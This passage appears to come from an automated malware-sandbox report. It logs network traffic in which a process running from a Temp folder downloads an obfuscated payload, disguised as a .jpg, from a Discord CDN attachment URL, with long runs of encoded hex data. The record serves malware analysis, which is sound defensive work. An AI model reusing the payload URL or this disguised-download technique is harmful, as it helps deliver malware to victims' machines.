2021-10-29 18:29:09 UTC	1470	IN	Data Raw: 4e 43 72 20 4d 63 20 4d 63 20 59 43 20 72 4d 20 63 20 4e 4e 4e 20 4c 20 59 72 20 4e 43 72 20 59 72 20 56 63 20 43 20 4e 4d 20 57 4e 20 57 72 20 4e 4e 57 20 4d 49 20 63 4e 20 4e 20 4e 20 4c 43 20 4d 49 20 49 43 20 4e 4e 4e 20 4e 43 57 20 56 20 4e 4e 20 63 4d 20 4e 4e 4d 20 49 4e 20 4c 59 20 56 56 4d 20 4e 4d 4d 20 56 56 63 20 4e 4c 72 20 59 49 20 4d 63 20 56 4c 20 59 43 20 72 4d 20 4c 20 72 49 20 4e 72 20 56 72 20 59 59 20 63 20 56 63 20 4c 4e 20 4d 49 20 49 43 20 4e 4e 4e 20 4e 43 57 20 4d 20 49 72 20 4d 49 20 4d 59 20 56 57 20 72 4d 20 4e 43 57 20 4e 20 59 43 20 4e 4e 56 20 4c 4c 20 56 49 20 56 56 20 4e 4c 20 63 59 20 59 43 20 4e 56 63 20 4d 4e 20 57 43 20 59 63 20 4e 57 20 56 4c 20 4e 20 56 4e 20 49 56 20 4e 20 59 43 20 4e 56 4d 20 4e 4d 20 56 49 20 43 Data Ascii: NCr Mc Mc YC rM c NNN L Yr NCr Yr Vc C NM WN Wr NNW MI cN N N LC MI IC NNN NCW V NN cM NNM IN LY VVM NMM VVc NLr YI Mc VL YC rM L rI Nr Vr YY c Vc LN MI IC NNN NCW M Ir MI MY VW rM NCW N YC NNV LL VI VV NL cY YC NVc MN WC Yc NW VL N VN IV N YC NVM NM VI C
2021-10-29 18:29:09 UTC	1486	IN	Data Raw: 43 20 4d 56 20 4e 4e 56 20 4e 4e 49 20 59 43 20 59 20 4e 63 20 72 49 20 63 4d 20 72 4e 20 72 57 20 4e 4e 49 20 4d 20 72 20 4e 4e 59 20 4e 43 4e 20 63 59 20 59 59 20 49 49 20 63 49 20 4e 4e 49 20 4e 4e 59 20 56 20 59 20 56 4e 20 59 56 20 63 49 20 72 63 20 4d 43 20 56 20 57 20 43 20 4e 4e 4d 20 57 63 20 63 63 20 4d 43 20 49 59 20 4d 56 20 4e 4e 57 20 59 20 59 20 4e 4e 56 20 56 56 20 72 49 20 59 4e 20 4e 43 57 20 56 4c 20 49 4d 20 63 49 20 4e 43 57 20 4e 4e 57 20 4d 20 72 57 20 63 43 20 4c 63 20 4e 4e 56 20 4e 4e 56 20 4e 4e 59 20 57 63 20 4e 4e 4e 20 72 20 4c 49 20 72 56 20 4c 63 20 63 56 20 4e 56 4c 20 4e 43 43 20 4e 43 57 20 4e 4e 57 20 4e 20 4c 49 20 63 4e 20 59 43 20 63 4e 20 4e 56 59 20 4e 4e 63 20 4e 4e 57 20 4e 43 59 20 56 57 20 63 43 20 59 4e 20 4c Data Ascii: C MV NNV NNI YC Y Nc rI cM rN rW NNI M r NNY NCN cY YY II cI NNI NNY V Y VN YV cI rc MC V W C NNM Wc cc MC IY MV NNW Y Y NNV VV rI YN NCW VL IM cI NCW NNW M rW cC Lc NNV NNV NNY Wc NNN r LI rV Lc cV NVL NCC NCW NNW N LI cN YC cN NVY NNc NNW NCY VW cC YN L
2021-10-29 18:29:09 UTC	1502	IN	Data Raw: 4e 63 20 4c 4e 20 56 59 20 49 4c 20 57 56 20 57 4e 20 4d 63 20 59 4c 20 63 20 56 49 20 56 20 4c 43 20 59 43 20 4e 56 4e 20 63 59 20 57 63 20 59 4c 20 4c 43 20 56 49 20 57 20 72 57 20 49 4e 20 63 49 20 57 4e 20 49 57 20 59 49 20 4e 4e 72 20 4c 49 20 49 20 4e 57 20 4d 4e 20 63 63 20 57 4e 20 63 63 20 72 59 20 59 4e 20 56 56 20 56 59 20 56 59 20 57 4c 20 57 72 20 59 43 20 49 4d 20 59 59 20 63 20 56 49 20 56 20 4c 43 20 59 43 20 57 57 20 4d 59 20 63 57 20 4c 56 20 56 4c 20 56 72 20 63 4d 20 4c 72 20 49 4d 20 49 63 20 57 72 20 49 4c 20 59 59 20 63 20 56 49 20 56 20 4c 43 20 59 43 20 4e 56 4e 20 57 56 20 4d 43 20 4c 4c 20 63 20 59 4d 20 4e 56 20 4c 43 20 49 59 20 63 57 20 49 4c 20 49 4e 20 72 57 20 72 57 20 56 63 20 4e 20 56 49 20 49 4d 20 49 4c 20 4d 43 20 57 Data Ascii: Nc LN VY IL WV WN Mc YL c VI V LC YC NVN cY Wc YL LC VI W rW IN cI WN IW YI NNr LI I NW MN cc WN cc rY YN VV VY VY WL Wr YC IM YY c VI V LC YC WW MY cW LV VL Vr cM Lr IM Ic Wr IL YY c VI V LC YC NVN WV MC LL c YM NV LC IY cW IL IN rW rW Vc N VI IM IL MC W
2021-10-29 18:29:09 UTC	1518	IN	Data Raw: 4d 20 56 4d 20 56 59 20 49 4e 20 49 59 20 4e 56 4d 20 49 57 20 72 49 20 56 4c 20 56 59 20 63 4d 20 4c 59 20 49 4d 20 49 4c 20 4d 4e 20 63 49 20 63 4e 20 63 20 4e 56 20 4e 43 57 20 4c 59 20 4d 59 20 63 4d 20 4d 43 20 49 4c 20 59 4d 20 57 56 20 4c 49 20 49 20 4e 57 20 4d 4e 20 63 63 20 57 4e 20 63 63 20 72 59 20 4e 4e 72 20 4c 49 20 56 43 20 4c 20 4d 43 20 49 59 20 57 59 20 56 72 20 56 63 20 56 4c 20 4e 20 63 4d 20 4c 59 20 49 4d 20 49 4c 20 4d 4e 20 63 49 20 63 4e 20 63 20 4e 56 20 4e 43 57 20 4c 20 49 4d 20 63 49 20 4e 43 57 20 4e 43 4e 20 72 57 20 4e 4d 20 43 20 4c 4e 20 56 59 20 4d 43 20 4d 4c 20 59 43 20 4e 56 43 20 72 57 20 63 20 4c 4c 20 4e 72 20 43 20 57 4d 20 49 59 20 49 4e 20 63 4d 20 4c 49 20 56 4d 20 4e 20 56 43 20 4e 4e 56 20 4e 4e 57 20 57 72 Data Ascii: M VM VY IN IY NVM IW rI VL VY cM LY IM IL MN cI cN c NV NCW LY MY cM MC IL YM WV LI I NW MN cc WN cc rY NNr LI VC L MC IY WY Vr Vc VL N cM LY IM IL MN cI cN c NV NCW L IM cI NCW NCN rW NM C LN VY MC ML YC NVC rW c LL Nr C WM IY IN cM LI VM N VC NNV NNW Wr
2021-10-29 18:29:09 UTC	1534	IN	Data Raw: 20 4e 56 20 4e 4e 56 20 4d 43 20 72 49 20 57 43 20 59 72 20 49 72 20 4e 4e 57 20 49 59 20 4e 43 57 20 72 4c 20 59 43 20 72 49 20 72 57 20 4e 43 4d 20 49 72 20 4e 4e 72 20 59 72 20 72 63 20 4e 4e 56 20 57 4c 20 72 49 20 57 56 20 59 72 20 59 59 20 4e 4e 72 20 56 43 20 4e 43 57 20 72 20 59 43 20 43 20 59 43 20 56 56 20 49 72 20 63 4c 20 4e 4e 4d 20 72 63 20 4e 4e 56 20 57 4c 20 72 49 20 57 56 20 59 72 20 59 59 20 4e 4e 72 20 56 43 20 4e 43 57 20 72 20 59 43 20 49 56 20 59 43 20 56 56 20 49 72 20 56 57 20 4e 4e 4d 20 72 63 20 4e 4e 56 20 57 4c 20 72 49 20 57 56 20 59 72 20 59 59 20 4e 4e 72 20 56 43 20 4e 43 57 20 72 20 59 43 20 63 63 20 59 43 20 56 56 20 49 72 20 72 57 20 4e 4e 4d 20 56 20 4e 4e 56 20 57 56 20 72 49 20 49 4e 20 59 72 20 59 4c 20 4e 4e 72 20 Data Ascii: NV NNV MC rI WC Yr Ir NNW IY NCW rL YC rI rW NCM Ir NNr Yr rc NNV WL rI WV Yr YY NNr VC NCW r YC C YC VV Ir cL NNM rc NNV WL rI WV Yr YY NNr VC NCW r YC IV YC VV Ir VW NNM rc NNV WL rI WV Yr YY NNr VC NCW r YC cc YC VV Ir rW NNM V NNV WV rI IN Yr YL NNr
2021-10-29 18:29:09 UTC	1550	IN	Data Raw: 4e 4d 63 20 4e 4d 57 20 59 56 20 49 56 20 4e 56 56 20 4e 4e 4c 20 4e 43 4d 20 4e 43 57 20 4c 56 20 49 20 59 56 20 72 49 20 63 59 20 57 63 20 49 49 20 4e 43 49 20 4e 56 63 20 63 4c 20 59 72 20 4c 57 20 4c 63 20 56 4e 56 20 56 4e 59 20 4e 4e 63 20 4e 56 43 20 57 4d 20 4e 4d 49 20 4e 56 57 20 72 49 20 59 63 20 57 43 20 4e 4e 4c 20 4e 4e 59 20 4e 4e 56 20 4e 4e 4d 20 72 49 20 59 72 20 59 4d 20 59 4c 20 49 56 20 4e 4e 4e 20 4e 56 4c 20 4e 43 72 20 4e 4e 49 20 72 4d 20 4c 4c 20 4e 4d 49 20 4e 4c 49 20 49 4e 20 4e 4e 63 20 4e 43 72 20 4e 56 72 20 56 72 43 20 56 72 56 20 59 56 20 59 56 20 4c 57 20 56 4e 4c 20 4e 56 56 20 4e 4e 4c 20 4e 43 4d 20 57 49 20 4e 4d 49 20 56 4e 4c 20 72 49 20 72 49 20 49 4e 20 4e 4e 49 20 4e 4e 59 20 4e 56 72 20 56 72 43 20 4e 72 63 20 Data Ascii: NMc NMW YV IV NVV NNL NCM NCW LV I YV rI cY Wc II NCI NVc cL Yr LW Lc VNV VNY NNc NVC WM NMI NVW rI Yc WC NNL NNY NNV NNM rI Yr YM YL IV NNN NVL NCr NNI rM LL NMI NLI IN NNc NCr NVr VrC VrV YV YV LW VNL NVV NNL NCM WI NMI VNL rI rI IN NNI NNY NVr VrC Nrc
2021-10-29 18:29:09 UTC	1566	IN	Data Raw: 20 56 59 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4d 20 4e 4e 4d 20 56 20 4e 4e 56 20 57 4c 20 72 49 20 49 57 20 59 72 20 63 4e 20 4e 4e 72 20 4e 63 20 4e 43 57 20 4c 20 59 43 20 4c 43 20 59 43 20 63 57 20 49 72 20 4c 20 4e 4e 4d 20 4e 20 4e 4e 56 20 57 4e 20 72 49 20 4d 43 20 59 72 20 72 57 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 43 4e 20 59 43 20 49 49 20 49 72 20 56 59 20 4e 4e 4d 20 4c 20 4e 4e 56 20 57 4c 20 72 49 20 63 57 20 59 72 20 59 49 20 4e 4e 72 20 72 49 20 4e 43 57 20 49 20 59 43 20 63 49 20 59 43 20 49 4c 20 49 72 20 56 49 20 4e 4e 4d 20 4c 43 20 4e 4e 56 20 57 4e 20 72 49 20 57 4c 20 59 72 20 59 49 20 4e 4e 72 20 72 4e 20 4e 43 57 20 4c 56 20 59 43 20 63 63 20 59 43 20 49 57 20 49 72 Data Ascii: VY NCW NNV YC rI YC Yr Ir NM NNM V NNV WL rI IW Yr cN NNr Nc NCW L YC LC YC cW Ir L NNM N NNV WN rI MC Yr rW NNr NNM NCW NNV YC NCN YC II Ir VY NNM L NNV WL rI cW Yr YI NNr rI NCW I YC cI YC IL Ir VI NNM LC NNV WN rI WL Yr YI NNr rN NCW LV YC cc YC IW Ir
2021-10-29 18:29:09 UTC	1582	IN	Data Raw: 63 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 59 56 20 59 43 20 49 57 20 59 43 20 63 57 20 49 72 20 56 20 4e 4e 4d 20 4e 20 4e 4e 56 20 49 4c 20 72 49 20 4d 59 20 59 72 20 56 63 20 4e 4e 72 20 56 43 20 4e 43 57 20 56 57 20 59 43 20 49 59 20 59 43 20 59 72 20 49 72 20 56 4c 20 4e 4e 4d 20 56 4e 20 4e 4e 56 20 63 63 20 72 49 20 57 4e 20 59 72 20 4c 49 20 4e 4e 72 20 4e 56 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 57 49 20 49 72 20 56 4c 20 4e 4e 4d 20 4e 20 4e 4e 56 20 59 43 20 72 49 20 56 72 20 59 72 20 4e 56 56 20 4e 4e 72 20 4c 20 4e 43 57 20 4c 20 59 43 20 63 49 20 59 43 20 63 49 20 49 72 20 56 4d 20 4e 4e 4d 20 4c 20 4e 4e 56 20 49 59 20 72 49 20 56 49 20 59 72 20 63 20 4e 4e 72 20 4e 63 20 4e 43 57 20 43 20 59 43 20 57 56 20 59 43 20 49 4d 20 Data Ascii: c NNr NNM NCW YV YC IW YC cW Ir V NNM N NNV IL rI MY Yr Vc NNr VC NCW VW YC IY YC Yr Ir VL NNM VN NNV cc rI WN Yr LI NNr NV NCW NNV YC rI YC WI Ir VL NNM N NNV YC rI Vr Yr NVV NNr L NCW L YC cI YC cI Ir VM NNM L NNV IY rI VI Yr c NNr Nc NCW C YC WV YC IM
2021-10-29 18:29:09 UTC	1598	IN	Data Raw: 4e 4e 4e 20 63 56 20 43 20 43 20 4e 43 20 56 59 72 20 4e 72 20 72 20 43 20 56 59 72 20 4e 4c 20 72 20 43 20 72 43 20 63 4c 20 43 20 43 20 4e 43 20 59 49 20 4e 57 20 43 20 43 20 43 20 56 59 72 20 57 20 4e 20 43 20 56 59 72 20 4e 56 20 72 20 43 20 4e 72 43 20 4e 4e 20 43 20 43 20 56 4d 20 4e 4e 4e 20 59 49 20 43 20 43 20 4e 43 20 72 56 20 56 59 72 20 57 20 43 20 43 20 4e 4e 4e 20 63 72 20 43 20 43 20 4e 43 20 56 59 72 20 4e 72 20 59 20 43 20 56 59 72 20 4e 56 20 59 20 43 20 59 4d 20 4e 4c 20 43 20 43 20 43 20 56 59 72 20 57 20 4e 20 43 20 56 59 72 20 4e 56 20 59 20 43 20 4e 4e 4e 20 59 63 20 43 20 43 20 4e 43 20 72 56 20 43 20 43 20 43 20 4e 57 20 72 49 20 4c 20 43 20 4d 57 20 43 20 43 20 43 20 4e 57 20 43 20 43 20 4e 4d 20 56 59 72 20 57 20 43 20 43 20 4e Data Ascii: NNN cV C C NC VYr Nr r C VYr NL r C rC cL C C NC YI NW C C C VYr W N C VYr NV r C NrC NN C C VM NNN YI C C NC rV VYr W C C NNN cr C C NC VYr Nr Y C VYr NV Y C YM NL C C C VYr W N C VYr NV Y C NNN Yc C C NC rV C C C NW rI L C MW C C C NW C C NM VYr W C C N
2021-10-29 18:29:09 UTC	1614	IN	Data Raw: 4c 72 20 43 20 43 20 49 49 20 43 20 43 20 43 20 4c 59 20 49 59 20 49 4c 20 43 20 4e 63 43 20 4c 72 20 43 20 43 20 4e 63 20 43 20 43 20 43 20 4c 59 20 4d 4e 20 49 59 20 4d 4c 20 63 49 20 43 20 43 20 43 20 4e 4d 63 20 4c 72 20 43 20 43 20 56 72 20 63 20 43 20 43 20 4c 59 20 63 63 20 4e 43 49 20 4e 4e 4e 20 57 49 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 56 20 43 20 43 20 4e 20 49 4d 20 4e 72 57 20 4e 63 56 20 63 4e 20 57 20 4e 59 20 43 20 43 20 43 20 56 59 43 20 4c 4d 20 59 4e 20 43 20 56 56 20 43 20 43 20 4e 20 43 20 43 20 43 20 57 4e 20 43 20 43 20 43 20 4e 72 20 43 20 43 20 43 20 4e 4e 20 43 20 43 20 43 20 63 49 20 43 20 43 20 43 20 56 43 20 43 20 43 20 43 20 4e 4e 63 20 43 20 43 20 43 20 59 57 20 43 20 43 20 43 20 4e 20 43 20 43 20 43 20 56 4d 20 43 Data Ascii: Lr C C II C C C LY IY IL C NcC Lr C C Nc C C C LY MN IY ML cI C C C NMc Lr C C Vr c C C LY cc NCI NNN WI C C C C C C C V C C N IM NrW NcV cN W NY C C C VYC LM YN C VV C C N C C C WN C C C Nr C C C NN C C C cI C C C VC C C C NNc C C C YW C C C N C C C VM C
2021-10-29 18:29:09 UTC	1630	IN	Data Raw: 4e 43 20 4e 43 4c 20 43 20 63 63 20 4e 4e 4d 20 4e 4e 72 20 4e 4e 72 20 4e 43 59 20 4e 4e 43 20 4e 43 4c 20 43 20 49 72 20 4e 4e 4e 20 49 4c 20 4e 4e 63 20 4e 4e 72 20 4e 43 59 20 4e 4e 43 20 4e 43 4c 20 43 20 57 4d 20 4e 56 56 20 4e 4e 4e 20 4e 4e 63 20 4e 43 59 20 4e 4e 59 20 4e 43 59 20 4e 4e 43 20 4e 43 4c 20 43 20 4e 4e 4d 20 4e 4e 43 20 4e 43 72 20 57 4d 20 4e 4e 72 20 4e 4e 43 20 4e 43 4e 20 4e 4e 59 20 4e 4e 59 20 4e 43 59 20 4e 4e 43 20 4e 43 4c 20 43 20 4e 43 4c 20 4e 43 4e 20 4e 4e 63 20 57 59 20 4d 63 20 4e 43 4e 20 4e 4e 43 20 4e 43 4c 20 4e 4e 63 20 4e 43 72 20 43 20 49 72 20 4e 43 57 20 4e 43 59 20 43 20 4d 4d 20 57 4d 20 4e 4e 72 20 4e 4e 59 20 4e 43 72 20 57 4d 20 4e 43 49 20 43 20 4e 4e 56 20 4e 4e 72 20 4e 4e 4e 20 4e 4e 63 20 4e 43 4e Data Ascii: NC NCL C cc NNM NNr NNr NCY NNC NCL C Ir NNN IL NNc NNr NCY NNC NCL C WM NVV NNN NNc NCY NNY NCY NNC NCL C NNM NNC NCr WM NNr NNC NCN NNY NNY NCY NNC NCL C NCL NCN NNc WY Mc NCN NNC NCL NNc NCr C Ir NCW NCY C MM WM NNr NNY NCr WM NCI C NNV NNr NNN NNc NCN
2021-10-29 18:29:09 UTC	1646	IN	Data Raw: 43 20 4c 56 20 63 72 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 20 43 Data Ascii: C LV cr C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49826	162.159.130.233	443	C:\Users\user\AppData\Local\Temp\4F44.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-29 18:29:21 UTC	1652	OUT	GET /attachments/893177342426509335/902526114763767818/A623D0D3.jpg HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2021-10-29 18:29:21 UTC	1652	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 18:29:21 GMT Content-Type: image/jpeg Content-Length: 1023400 Connection: close CF-Ray: 6a5e7807ae5f695d-FRA Accept-Ranges: bytes Age: 280457 Cache-Control: public, max-age=31536000 ETag: "a79ffe2a90ab83e54cd38dd94a2b6a6d" Expires: Sat, 29 Oct 2022 18:29:21 GMT Last-Modified: Tue, 26 Oct 2021 11:56:33 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Cf-Bgj: h2pri Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1635249393939568 x-goog-hash: crc32c=mLSBFQ== x-goog-hash: md5=p5/+KpCrg+VM043ZSitqbQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 1023400 X-GUploader-UploadID: ADPycduXLAU0rhkOYYdjTYv8nzQOrUiGMR0rq3qWR-Mu3t2dKo7sgrujSRwPDi2ARPYGwmCnqDDiBBlucDqiDRky3RaT0EIS3w X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=GNaY3ddNvQ33oLPykwOP2w2Q65oBNTPp%2ByLeu36inix1G3BNrHxNuUa8v7K%2BBurPdRKnm6z5OCWdm%2Fn11UPtdY9JmVuS5n01xR8bWxGqJol%2FtimZ3wd3%2BK67r55CmmL3pLSEaA%3D%3D"}],"group":"cf-nel","max_age":604800}
2021-10-29 18:29:21 UTC	1653	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2021-10-29 18:29:21 UTC	1653	IN	Data Raw: 78 4f 6f 45 4b 59 52 74 6b 51 2d 74 74 20 51 78 20 4f 4b 4b 20 78 20 45 20 78 20 78 20 78 20 4b 20 78 20 78 20 78 20 6f 59 59 20 6f 59 59 20 78 20 78 20 4f 6b 4b 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 52 4b 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 4f 6f 6b 20 78 20 78 20 78 20 4f 4b 20 45 4f 20 4f 6b 52 20 4f 4b 20 78 20 4f 6b 78 20 51 20 6f 78 59 20 45 45 20 4f 6b 4b 20 4f 20 74 52 20 6f 78 59 20 45 45 20 6b 4b 20 4f 78 4b 20 4f 78 59 20 4f 4f 59 20 45 6f 20 4f 4f 6f 20 4f 4f 4b 20 4f 4f 4f 20 4f 78 45 20 4f 4f 4b 20 51 74 20 4f 78 51 20 45 6f 20 51 51 20 51 74 20 4f 4f 78 20 4f Data Ascii: xOoEKYRtkQ-tt Qx OKK x E x x x K x x x oYY oYY x x OkK x x x x x x x RK x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x Ook x x x OK EO OkR OK x Okx Q oxY EE OkK O tR oxY EE kK OxK OxY OOY Eo OOo OOK OOO OxE OOK Qt OxQ Eo QQ Qt OOx O
2021-10-29 18:29:21 UTC	1654	IN	Data Raw: 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 6f 59 20 4b 78 20 6f 6f 51 20 4f 78 51 20 4f 4f 59 20 59 78 20 4b 6b 20 59 78 20 59 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 4b 52 20 4f 4b 45 20 59 78 20 4b 6b 20 4f 45 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 4f 6f 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 Data Ascii: x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x oY Kx ooQ OxQ OOY Yx Kk Yx Yx kK OOK OOt OKR OKE Yx Kk OEk YK kK OOK OOt OxQ OOo Yx OOo Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Y
2021-10-29 18:29:21 UTC	1656	IN	Data Raw: 20 4f 78 20 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 45 6f 20 4f 6b 45 20 59 59 20 6b 4b 20 4f 4f 4b 20 6b 59 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 4b 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6b 20 59 4b 20 6b 4b 20 4f 6b 20 51 4f 20 45 4f 20 45 20 52 4b 20 6b 45 20 59 78 20 59 4b 20 6b 4b 20 4f 74 6b 20 4f 4f 6b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6f 4b 78 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 51 78 20 4b 51 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 59 45 20 4f 78 51 Data Ascii: Ox O OxQ OOo Yx OEo OkE YY kK OOK kY OxQ OOo Yx OkK YO YK kK OOk OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Ok YK kK Ok QO EO E RK kE Yx YK kK Otk OOk OxQ OOo Yx oKx YO YK kK OOk OOt OxQ OOo OQx KQ Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK YE OxQ
2021-10-29 18:29:21 UTC	1657	IN	Data Raw: 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f Data Ascii: OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo
2021-10-29 18:29:21 UTC	1658	IN	Data Raw: 4f 78 51 20 4f 4f 6f 20 59 52 20 45 51 20 45 74 20 4b 74 20 6f 4f 74 20 4b 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 6f 45 20 45 6b 20 52 4b 20 59 59 20 6b 4b 20 4f 4f 4b 20 59 20 45 4f 20 4b 4f 20 59 78 20 4b 6b 20 52 52 20 74 6f 20 74 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6b 6b 20 4b 59 20 4b 6b 20 59 78 20 52 78 20 6f 4b 52 20 6b 74 20 51 6b 20 45 4f 20 4f 20 59 78 20 4b 6b 20 52 52 20 52 6b 20 6f 59 4f 20 4f 4f 4b 20 4f 4f 74 20 6f 51 20 4f 4b 20 4b 4b 20 4b 6b 20 59 78 20 52 78 20 4f 6f 4b 20 4f 78 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4f 4b 4b 20 6f 4f 20 4b 6f 20 52 6b 20 4f 4b 74 20 4f 4f 4b 20 4f 4f 74 20 6f 51 20 6f 20 59 45 20 4b 51 20 59 78 20 74 78 20 4b 6f 20 4f 78 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 4b 74 20 59 78 20 Data Ascii: OxQ OOo YR EQ Et Kt oOt Ko OOt OxQ OOE oE Ek RK YY kK OOK Y EO KO Yx Kk RR to tK OOK OOt OxE kk KY Kk Yx Rx oKR kt Qk EO O Yx Kk RR Rk oYO OOK OOt oQ OK KK Kk Yx Rx OoK OxQ OOt OxQ Ooo OKK oO Ko Rk OKt OOK OOt oQ o YE KQ Yx tx Ko Oxk OOt OxQ Ooo oR Kt Yx
